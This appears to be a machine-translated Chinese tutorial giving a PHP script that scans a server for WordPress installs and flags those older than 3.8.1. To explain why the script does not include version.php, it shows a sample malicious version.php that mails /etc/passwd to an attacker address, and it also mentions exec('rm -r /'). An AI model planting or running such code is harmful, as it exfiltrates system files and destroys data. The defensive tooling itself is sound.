如何在您的服务器上找到过时的WordPress版本,以减少被黑客入侵的风险
今天我们想告诉你如何在服务器上找到过时的WordPress安装 。 这可能是高风险的,特别是对于共享托管服务器。 被大量使用的开源软件(如Wordpress)遭到攻击只是时间问题,一旦发现安全漏洞。
我们发布了这样的第二篇文章,其重点是过时的Joomla安装并使用了bash脚本。 这次我们将使用一个php脚本作为这个工作。
先决条件
您将需要安装php-cli
才能使用该脚本。
让我们开始
起初我们问这个问题:如何从服务器上安装的文件中识别wordpress版本?
Wordpress将版本存储在名为version.php
的文件中。 该文件位于文件夹wp-includes中
。
版本字符串是变量:
$ wp_version ='3.8.1';
接下来,我们在官方网站上查找最新版本的wordpress。 在撰写本文时,这是3.8.1 。
在您的服务器上查找Wordpress安装
WordPress包括安装中的一些文件夹,可以轻松识别这样的安装:
wp-content
, wp-admin
和wp-includes
。
我们现在知道如何识别一个安装,我们可以在php中构造一个函数,该函数会循环遍历基本路径中的所有文件夹,并查找这些文件夹名称。
<?php if(!isset($argv[1])) die("Please start this program with " . $argv[0] . " [ ]\n"); // set the base path define('BASE_PATH', $argv[1]); // check that provided path exists if(!is_dir(BASE_PATH)) { die(BASE_PATH . " is no valid path.\n"); } function path_loop($path) { // make sure path ends with a slash if(substr($path, -1) !== '/') $path .= '/'; // open dir $dir = opendir($path); if(!$dir) { print "[WARN] Could not access " . BASE_PATH . "\n"; return false; } while($cur = readdir($dir)) { // we only want to read paths, not files if($cur === '.' || $cur === '..' || is_link($path . $cur) || !is_dir($path . $cur)) continue; if($cur === 'wp-content' || $cur == 'wp-admin' || $cur == 'wp-includes') { // this seems to be a wordpress installation path } path_loop($path . $cur); // we dive into the dir even if we found wp here. } // free resource closedir($dir); } // start the loop process path_loop(BASE_PATH); ?>
该脚本循环并找到Wordpress文件夹。 现在我们想将这些发现的安装存储在一个数组中,包括它的版本。
要获取版本,我们读取version.php文件:
<?php // strippedscript content // define array to store the wordpress installation paths $wp_inst = array(); function path_loop($path) { global $wp_inst; // stripped function content // inside the loop: if($cur === 'wp-content' || $cur == 'wp-admin' || $cur == 'wp-includes') { // this seems to be a wordpress installation path // check for the version file now $versionfile = $path . 'wp-includes/version.php'; if(!file_exists($versionfile) || !is_readable($versionfile)) continue; // cannot read the file // we don't simply include the file for security reasons. // so store it in a variable $cont = file_get_contents($versionfile); // search for the version string $found = preg_match('/\$wp_version\s*=\s*(["\'])([0-9\.]+)\\1;/', $cont, $match); if(!$found) continue; // we found no version string in the file... strange. $wp_inst[$path] = $match[2]; print '[INFO] found wp version ' . $match[2] . ' in ' . $path . "\n"; } } // stripped script content ?>
好的,现在为什么我们不要简单地做一个include $ versionfile
并读取$ wp_version变量?
要运行脚本,您需要具有访问所有Web文件夹的权限,通常此脚本将以root / sudo方式运行。
想象一下,如果一个坏家伙用一个简单的包含这个的自定义代码替换wordpress version.php,会发生什么:
<?php mail('mybadguy@maildomain.com', 'Password file', file_get_contents('/etc/passwd')); ?>
当然这只是一个例子。 该文件可以包含甚至代码,如exec('rm -r /');
等等,一旦finder脚本包含恶意的version.php,它将被执行。
所以要保持简单: 不要包含php文件,你不知道内容!
在我们对脚本进行扩展之后,它现在可以找到所有具有版本的Wordpress安装,并将它们存储在$ wp_inst数组中。
我们现在扩展脚本来比较最新的版本。 PHP为此提供了一个很好的功能: version_compare
。
<?php // stripped content define('LATEST_VERSION', '3.8.1'); // stripped content // start the loop process path_loop(BASE_PATH); // some statistic variables $current = 0; $outdated = 0; // loop through all found versions foreach($wp_inst as $path => $version) { // is the found version lower than latest one? if(version_compare($version, LATEST_VERSION, '<')) { $outdated++; print '[WARN] outdated wordpress version ' . $version; } else { $current++; print '[OK] current wordpress version ' . $version; } print ' in ' . $path . "\n"; } // print summary print "We found " . count($wp_inst) . " wordpress installations, of which " . $outdated . " are outdated and " . $current . " are up to date.\n"; ?>
我们到了。 该脚本打印所有找到的版本以及信息是否可以或过时。
[...]
[WARN] outdated wordpress version 3.3 in /var/www/clients/pathX/
[WARN] outdated wordpress version 3.4 in /var/www/clients/pathY/
[OK] current wordpress version 3.8.1 in /var/www/clients/pathA/
[OK] current wordpress version 3.8.1 in /var/www/clients/pathB/
We found 114 wordpress installations, of which 85 are outdated and 29 are up to date.
最后的脚本
为了方便起见,我们将一个函数添加到将所有找到的安装写入CSV文件的脚本中。
你现在可以这样调用脚本:
php find_wordpress.php /var/www /my/path/versions.csv
完成后,您将在/my/path/versions.csv中找到一个CSV文件,内容如下:
/var/www/clients/path1/;3.6;3.8.1
/var/www/clients/path2/;3.8.1;3.8.1
/var/www/clients/path3/;3.8.1;3.8.1
/var/www/clients/path4/;3.0.1;3.8.1
这里是完整的脚本,您可以简单地保存为find_wordpress.php
,并像上述那样调用它。
<?php /** * find outdated wordpress versions * (c) 2014 youcl.com (M. Cramer) <m.cramer@pixcept.de> */ define('LATEST_VERSION', '3.8.1'); if(!isset($argv[1])) die("Please start this program with " . $argv[0] . " <web pase bath> [<csv file>]\n"); // set the base path define('BASE_PATH', $argv[1]); define('OUTFILE', (isset($argv[2]) ? $argv[2] : false)); // check that provided path exists if(!is_dir(BASE_PATH)) { die(BASE_PATH . " is no valid path.\n"); } // define array to store the wordpress installation paths $wp_inst = array(); /* main function to loop through paths recursively */ function path_loop($path) { global $wp_inst; // make sure path ends with a slash if(substr($path, -1) !== '/') $path .= '/'; // open dir $dir = opendir($path); if(!$dir) { print "[WARN] Could not access " . BASE_PATH . "\n"; return false; } // loop through everything this dir contains while($cur = readdir($dir)) { // we only want to read paths, not files if($cur === '.' || $cur === '..' || is_link($path . $cur) || !is_dir($path . $cur)) continue; if(($cur === 'wp-content' || $cur == 'wp-admin' || $cur == 'wp-includes') && array_key_exists($path, $wp_inst) == false) { // this seems to be a wordpress installation path // check for the version file now $versionfile = $path . 'wp-includes/version.php'; if(!file_exists($versionfile) || !is_readable($versionfile)) continue; // cannot read the file // we don't simply include the file for security reasons. // so store it in a variable $cont = file_get_contents($versionfile); // search for the version string $found = preg_match('/\$wp_version\s*=\s*(["\'])([0-9\.]+)\\1;/', $cont, $match); if(!$found) continue; // we found no version string in the file... strange. $wp_inst[$path] = $match[2]; print '[INFO] found wp version ' . $match[2] . ' in ' . $path . "\n"; } path_loop($path . $cur); // we dive into the dir even if we found wp here. } // free resource closedir($dir); } // start the loop process path_loop(BASE_PATH); // some statistic variables $current = 0; $outdated = 0; if(OUTFILE) $fp = fopen(OUTFILE, 'w'); // loop through all found versions foreach($wp_inst as $path => $version) { // is the found version lower than latest one? if(version_compare($version, LATEST_VERSION, '<')) { $outdated++; print '[WARN] outdated wordpress version ' . $version; } else { $current++; print '[OK] current wordpress version ' . $version; } print ' in ' . $path . "\n"; if(OUTFILE) fputcsv($fp, array($path, $version, LATEST_VERSION), ';', '"'); } if(OUTFILE) fclose($fp); // print summary print "We found " . count($wp_inst) . " wordpress installations, of which " . $outdated . " are outdated and " . $current . " are up to date.\n"; ?>
我们希望你“快乐过时的狩猎”!